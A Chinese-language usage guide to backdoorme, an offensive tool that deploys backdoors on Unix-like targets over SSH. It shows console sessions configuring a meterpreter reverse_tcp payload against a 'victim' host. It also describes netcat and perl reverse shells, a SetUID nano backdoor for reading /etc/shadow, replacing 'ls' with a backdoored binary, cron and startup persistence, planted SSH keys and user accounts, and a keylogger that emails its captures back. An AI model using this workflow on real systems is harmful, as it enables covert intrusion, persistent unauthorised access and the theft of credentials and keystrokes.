backdoorme—-unix系后门工具
Backdoorme是一个集成了大量类UNIX系后门的后门工具,其使用了类似metasploit的具有高度扩展性的接口。
backdoorme依赖于与目标机器的ssh连接或者ssh证书,它将通过这个连接或证书传输后门并部署在目标机器上。不过,未来在工具扩展后,也会去掉这种依赖。(如果不知道如何设置ssh,请移步这里:https://help.ubuntu.com/community/SSH/OpenSSH/Configuring )
用法:
backdoorme由大量的内置后门、模块和辅助模块组成。内置后门是用来创建和部署特定后门的特殊组件,比如netcat后门、msfvenom后门。模块可以使用在任何一个后门上,可以让后门更有效、隐秘或者更容易地植入。辅助模块的作用主要是维持权限。
使用backdoorme之前,需要使用dependencies.py检测和下载依赖模块:
$ python dependencies.py
启动backdoorme:
-
$ python master.py
-
___ __ __ __ ___
-
/ _ )___ _____/ /_____/ /__ ___ ____/ |/ /__
-
/ _ / _ `/ __/ '_/ _ / _ \/ _ \/ __/ /|_/ / -_)
-
/____/\_,_/\__/_/\_\\_,_/\___/\___/_/ /_/ /_/\__/
-
Welcome to BackdoorMe, a powerful backdooring utility. Type "help" to see the list of available commands.
-
Type "addtarget" to set a target, and "open" to open an SSH connection to that target.
-
Using local IP of 10.1.0.1.
-
>>
添加一个目标:
-
>> addtarget
-
Target Hostname: 10.1.0.2
-
Username: victim
-
Password: password123
-
+ Target 1 Set!
-
>>
添加内置后门:
使用”use“命令利用后门:
-
>> use metasploit
-
+ Using current target 1.
-
+ Using Metasploit backdoor...
-
(msf) >>
然后就可以为后门设置相关的参数了:
用”show options“命令或”help“命令查看可以设置的参数,并用”set“参数设置参数值。
-
(msf) >> show options
-
Backdoor options:
-
-
Option Value Description Required
-
------ ----- ----------- --------
-
name initd name of the backdoor False
-
format elf format to write the backdoor to True
-
lhost 10.1.0.1 local IP to connect back to True
-
encoder none encoder to use for the backdoor False
-
lport 4444 local port to connect back on True
-
payload linux/x86/meterpreter/reverse_tcp payload to deploy in backdoor True
-
(msf) >> set name apache
-
+ name => apache
-
(msf) >> show options
-
Backdoor options:
-
-
Option Value Description Required
-
------ ----- ----------- --------
-
name apache name of the backdoor False
-
...
目前主要支持如下的参数:
-
Bash
-
用简单的bash脚本连接特定的ip、端口组合并且将输出用管道传入bash
-
Bash2 (需要更多依赖)
-
此版本比第一个更加轻量,不会在客户端提示输入密码
-
Metasploit
-
调用msfvenom在目标上生成一个reverse_tcp 二进制文件,然后运行并连接meterpreter shell
-
Netcat
-
通过netcat与目标/bin/sh建立一个标准的输入输出管道,提供一个交互shell
-
Netcat-traditional
-
利用netcat的-e参数建立一个反向shell
-
Perl
-
建立一个perl脚本,将输出重定向到bash,并将自己的进程重命名使其看起来更加隐秘
-
Php (不会自动安装web服务,但是会使用web模块)
-
运行一个php后门,重定向输出到bash
-
Pupy
-
利用n1nj4sec的Pupy后门,可以参考这里https://github.com/n1nj4sec/pupy
-
Python
-
用一段很短的python脚本执行命令并将命令返回给使用者
-
SetUID
-
SetUID后门的原理是:当用户拥有root权限的时候,修改二进制文件的SetUID值。当用户没有root权限,依然可以运行该二进制文件获得root权限。此后门会默认地修改nano的SetUID值,所以一旦没有了root权限,以普通用户身份登录进来后,可以以root身份运行nano(“nano /etc/shadow”)
-
SSH Key
-
创建一个RSA密钥,并复制到目标上,使其支持无密码连接
-
Web (和上面的php后门不同,上面的是php脚本的后门,非web后门)
-
传输一个web server到目标,通过web server上传一个msfvenom的reverse_tcp 后门并连接到目标
模块:
使用”add”命令可以给后门添加模块,每个后门都可以添加一些模块使其更加有效。
-
(msf) >> add poison
-
+ Poison module added
每个模块都有自定义的参数,添加模块后再次使用”help”命令,便可以看到其选项。
-
(msf) >> help
-
...
-
Poison module options:
-
-
Option Value Description Required
-
------ ----- ----------- --------
-
name ls name of command to poison False
-
location /bin where to put poisoned files into False
现在主要支持如下参数:
-
Poison
-
在目标机上进行投毒——编译后门整合到系统命令中
-
比如,如果投毒目标是”ls”,它会用编译好的二进制文件替代”ls”,当用户运行ls命令的时候,同时也启动了后门。可以使用户更频繁地启动后门。
-
Cron
-
把后门添加到用户的定时任务中,以固定的频率启动后门
-
Web
-
设置web服务器并放置一个包含后门的web页面
-
访问网站即可触发后门
-
Keylogger
-
传输一个键盘记录器到目标并启动
-
可以设置参数使其每小时都通过email将结果发送回来
-
User
-
给目标添加一个新用户
-
Startup
-
将后门路径添加到bashrc和初始化文件中
-
>> apply user
-
+ User Auxiliary Module added.
-
>> (user) add startup
-
+ Startup Module added.
-
User
-
向目标添加一个新用户
-
Web
-
在目标上安装一个apache server
-
SimpleHTTP
-
在目标上安装python的 SimpleHTTP server
辅助模块:
为了维持权限,也许你会希望在目标上安装一些服务,你可以使用”apply”命令来应用辅助模块。
辅助模块也支持模块的用法,可以让它们变得更加隐秘或容易触发,比如:
主要支持的应用有:
目标:
backdoorme可以同时支持多个目标,由序号区别管理。”current”目标为当前目标,每次新建一个目标后,新建目标就会成为当前目标。直接在命令后面添加目标序号便可以手动切换目标,比如”use metasploit 2“会将当前目标切换到metasploit后门的第二个目标。
文章出处:黑客工具箱